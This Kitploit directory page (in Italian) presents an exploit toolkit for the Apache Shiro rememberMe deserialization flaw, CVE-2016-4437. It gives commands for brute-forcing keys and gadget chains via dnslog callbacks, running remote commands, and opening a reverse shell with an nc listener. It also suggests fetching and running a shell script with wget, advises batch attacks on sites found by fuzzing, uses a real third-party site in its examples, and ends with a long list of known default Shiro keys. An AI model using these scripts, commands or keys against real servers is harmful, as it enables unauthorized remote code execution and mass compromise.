Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Awesome_shiro — CVE-2016-4437-Shiro script con modulo di brute force per la deserializzazione e key, esecuzione di comandi e reverse shell | Kitploit
Strumenti/GitHubGitHub/bkfish/awesome_shiro
Generazione di PayloadAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingCommand and Control
GitHubbkfish/awesome_shiro

Awesome_shiro

CVE-2016-4437-Shiro script con modulo di brute force per la deserializzazione e key, esecuzione di comandi e reverse shell

Vedi Repository
551626 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Awesome-shiro

CVE-2016-4437 Strumento per la deserializzazione di Shiro<=1.2.4: brute force di moduli e key, esecuzione di codice e reverse shell


Causa della vulnerabilità

Poiché Shiro deserializza il campo rememberMe del cookie, se si conosce il metodo di codifica di Shiro, è possibile codificare un comando malevolo con lo stesso metodo e inserirlo nel cookie dell'header HTTP: quando Shiro deserializza il campo rememberMe del cookie inviato, esegue anche il comando iniettato, causando infine l'esecuzione di comandi.

Shiro usa di default CookieRememberMeManager; il flusso di elaborazione del cookie è: ottenere il valore del cookie rememberMe-->decodifica Base64-->decifratura AES-->deserializzazione

Ambiente

Funziona sia su linux/win10
Funziona sia con python2/python3
Poiché nella cartella module è presente ysoserial.jar, il progetto è un po' grande; siate clementi.

Configurazione di un ambiente target locale

root@kitploit:~
docker pull medicean/vulapps:s_shiro_1
docker run -d -p 80:8080 medicean/vulapps:s_shiro_1

Utilizzo degli script

1、shiro_crack.py: utilizzo del modulo di brute force

Da combinare con http://dnslog.cn/

root@kitploit:~
python3 shiro_crack.py http://www.baidu.com/login.do 1695jb.dnslog.cn

Dopo il successo, controlla i log: il formato delle voci è {{key}}.{{module}}.dnslogurl

root@kitploit:~
U3ByaW5nQmxhZGUAAAAAAA.CommonsBeanutils1.x9zm4v.dnslog.cn

Si evince quindi che la key valida è U3ByaW5nQmxhZGUAAAAAAA==, e il modulo è CommonsBeanutils1 Poiché la key contiene simboli come ==/+, questo progetto ne fa un po' di escaping. Dovrai confrontarle tu stesso con le key dell'appendice 1. Trovane uno su fofa per giocarci 1.png 2.png

Principio di funzionamento di shiro_crack.py

In realtà in rete esistono molti strumenti per il brute force di moduli e key, ma dopo il successo di solito riescono solo a stabilire la connessione, senza rivelare quale modulo e quale key siano stati usati, perché per una RCE senza output il codice di risposta è comunque 200, sia che funzioni sia che no. Questo progetto combina il brute force di moduli e key con dnslog per ottenere indirettamente la key e il modulo validi; il principio è l'essenza di DNSlog: durante la risoluzione il DNS lascia dei log e, leggendo i log di risoluzione dei domini multilivello, si ottengono le informazioni sulle richieste.

2、shiro_rce.py: utilizzo per la RCE

Puoi combinarlo con http://dnslog.cn/

root@kitploit:~
python3 shiro_crack.py http://www.baidu.com/login.do "ping rcetest.x9zm4v.dnslog.cn"

In dnslog vedrai ping rcetest.x9zm4v.dnslog.cn; per distinguere, si consiglia di usare un dominio di un livello inferiore.

Configurazione di shiro_rce

1、Configurazione del modulo Devi modificare la riga 13 popen = subprocess.Popen(['java', '-jar', '../module/ysoserial.jar', 'CommonsBeanutils1', command], stdout=subprocess.PIPE)sostituendo CommonsBeanutils1 con il modulo che ha avuto successo nel brute force. 2、Configurazione della key Modifica la riga 16

root@kitploit:~
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") 

sostituendola con la key che ha avuto successo nel brute force. Trovane uno su fofa per provare 3.png 4.png

3、shiro_getshell: reverse shell

root@kitploit:~
nc -lvnp 7777
python3 shiro_exp.py -u {{攻击的靶机}} -lh {{反弹shell的ip}} -lp {{反弹shell的端口}}

Per sicurezza, attacca comunque in locale. Il principio è che JRMPListener e il payload sono stati impacchettati insieme; in realtà, a rigor di logica, si potrebbe fare senza jrmplistener.

Test di shiro_getshell:

6.png 5.png


Una piccola riflessione Visto che si può uscire in rete, perché non usare direttamente shiro_rec con una bash reverse shell? Ho provato più volte, ma senza successo; credo che shiro applichi qualche filtro, però ho scoperto che si può prima scaricare con wget uno script .sh per la reverse shell e poi eseguirlo con sh. Riferimento: Una piccola ricerca sulla reverse shell senza usare jrmplistener


4、fuzz-shiro

Esegue un semplice test basato sugli header della richiesta e della risposta: inserisci i siti che usano shiro in shiro.txt.

5、shiro_piliang_crack.py

Si consiglia di ottenere prima da fuzz-shiro i siti che usano shiro in shiro.txt, poi attaccarli in batch.
Le voci in dnsLog saranno:

{{key}}.{{modulo}}.{{url}}.dnsurl

Testato di persona, funziona abbastanza bene.

Domande frequenti

1、Su win10, durante l'esecuzione compare l'errore No module named 'Crypto'

Esegui i seguenti comandi:

root@kitploit:~
pip uninstall crypto pycryptodome
pip install pycryptodome

Nella cartella \Lib\site-packages della directory di installazione di Python, rinomina la cartella crypto in Crypto.

Appendice 1、Key shiro comuni

root@kitploit:~
kPH+bIxk5D2deZiIxcaaaA==
4AvVhmFLUs0KTA3Kprsdag==
Z3VucwAAAAAAAAAAAAAAAA==
fCq+/xW488hMTCD+cmJ3aQ==
0AvVhmFLUs0KTA3Kprsdag==
1AvVhdsgUs0FSA3SDFAdag==
1QWLxg+NYmxraMoxAXu/Iw==
25BsmdYwjnfcWmnhAciDDg==
2AvVhdsgUs0FSA3SDFAdag==
3AvVhmFLUs0KTA3Kprsdag==
3JvYhmBLUs0ETA5Kprsdag==
r0e3c16IdVkouZgk1TKVMg==
5aaC5qKm5oqA5pyvAAAAAA==
5AvVhmFLUs0KTA3Kprsdag==
6AvVhmFLUs0KTA3Kprsdag==
6NfXkC7YVCV5DASIrEm1Rg==
6ZmI6I2j5Y+R5aSn5ZOlAA==
cmVtZW1iZXJNZQAAAAAAAA==
7AvVhmFLUs0KTA3Kprsdag==
8AvVhmFLUs0KTA3Kprsdag==
8BvVhmFLUs0KTA3Kprsdag==
9AvVhmFLUs0KTA3Kprsdag==
OUHYQzxQ/W9e/UjiAGu6rg==
a3dvbmcAAAAAAAAAAAAAAA==
aU1pcmFjbGVpTWlyYWNsZQ==
bWljcm9zAAAAAAAAAAAAAA==
bWluZS1hc3NldC1rZXk6QQ==
bXRvbnMAAAAAAAAAAAAAAA==
ZUdsaGJuSmxibVI2ZHc9PQ==
wGiHplamyXlVB11UXWol8g==
U3ByaW5nQmxhZGUAAAAAAA==
MTIzNDU2Nzg5MGFiY2RlZg==
L7RioUULEFhRyxM7a2R/Yg==
a2VlcE9uR29pbmdBbmRGaQ==
WcfHGU25gNnTxTlmJMeSpw==
OY//C4rhfwNxCQAQCrQQ1Q==
5J7bIJIV0LQSN3c9LPitBQ==
f/SY5TIve5WWzT4aQlABJA==
bya2HkYo57u6fWh5theAWw==
WuB+y2gcHRnY2Lg9+Aqmqg==
kPv59vyqzj00x11LXJZTjJ2UHW48jzHN
3qDVdLawoIr1xFd6ietnwg==
ZWvohmPdUsAWT3=KpPqda
YI1+nBV//m7ELrIyDHm6DQ==
6Zm+6I2j5Y+R5aS+5ZOlAA==
2A2V+RFLUs+eTA3Kpr+dag==
6ZmI6I2j3Y+R1aSn5BOlAA==
SkZpbmFsQmxhZGUAAAAAAA==
2cVtiE83c4lIrELJwKGJUw==
fsHspZw/92PrS3XrPW+vxw==
XTx6CKLo/SdSgub+OPHSrw==
sHdIjUN6tzhl8xZMG3ULCQ==
O4pdf+7e+mZe8NyxMTPJmQ==
HWrBltGvEZc14h9VpMvZWw==
rPNqM6uKFCyaL10AK51UkQ==
Y1JxNSPXVwMkyvES/kJGeQ==
lT2UvDUmQwewm6mMoiw4Ig==
MPdCMZ9urzEA50JDlDYYDg==
xVmmoltfpb8tTceuT5R7Bw==
c+3hFGPjbgzGdrC+MHgoRQ==
ClLk69oNcA3m+s0jIMIkpg==
Bf7MfkNR0axGGptozrebag==
1tC/xrDYs8ey+sa3emtiYw==
ZmFsYWRvLnh5ei5zaGlybw==
cGhyYWNrY3RmREUhfiMkZA==
IduElDUpDDXE677ZkhhKnQ==
yeAAo1E8BOeAYfBlm4NG9Q==
cGljYXMAAAAAAAAAAAAAAA==
2itfW92XazYRi5ltW0M2yA==
XgGkgqGqYrix9lI6vxcrRw==
ertVhmFLUs0KTA3Kprsdag==
5AvVhmFLUS0ATA4Kprsdag==
s0KTA3mFLUprK4AvVhsdag==
hBlzKg78ajaZuTE0VLzDDg==
9FvVhtFLUs0KnA3Kprsdyg==
d2ViUmVtZW1iZXJNZUtleQ==
yNeUgSzL/CfiWw1GALg6Ag==
NGk/3cQ6F5/UNPRh8LpMIg==
4BvVhmFLUs0KTA3Kprsdag==
MzVeSkYyWTI2OFVLZjRzZg==
CrownKey==a12d/dakdad
empodDEyMwAAAAAAAAAAAA==
A7UzJgh1+EWj5oBFi+mSgw==
YTM0NZomIzI2OTsmIzM0NTueYQ==
c2hpcm9fYmF0aXMzMgAAAA==
i45FVt72K2kLgvFrJtoZRw==
U3BAbW5nQmxhZGUAAAAAAA==
ZnJlc2h6Y24xMjM0NTY3OA==
Jt3C93kMR9D5e8QzwfsiMw==
MTIzNDU2NzgxMjM0NTY3OA==
vXP33AonIp9bFwGl7aT7rA==
V2hhdCBUaGUgSGVsbAAAAA==
Z3h6eWd4enklMjElMjElMjE=
Q01TX0JGTFlLRVlfMjAxOQ==
ZAvph3dsQs0FSL3SDFAdag==
Is9zJ3pzNh2cgTHB4ua3+Q==
NsZXjXVklWPZwOfkvk6kUA==
GAevYnznvgNCURavBhCr1w==
66v1O8keKNV3TTcGPK1wzg==
SDKOLKn2J1j/2BHjeZwAoQ==
Scarica lo strumento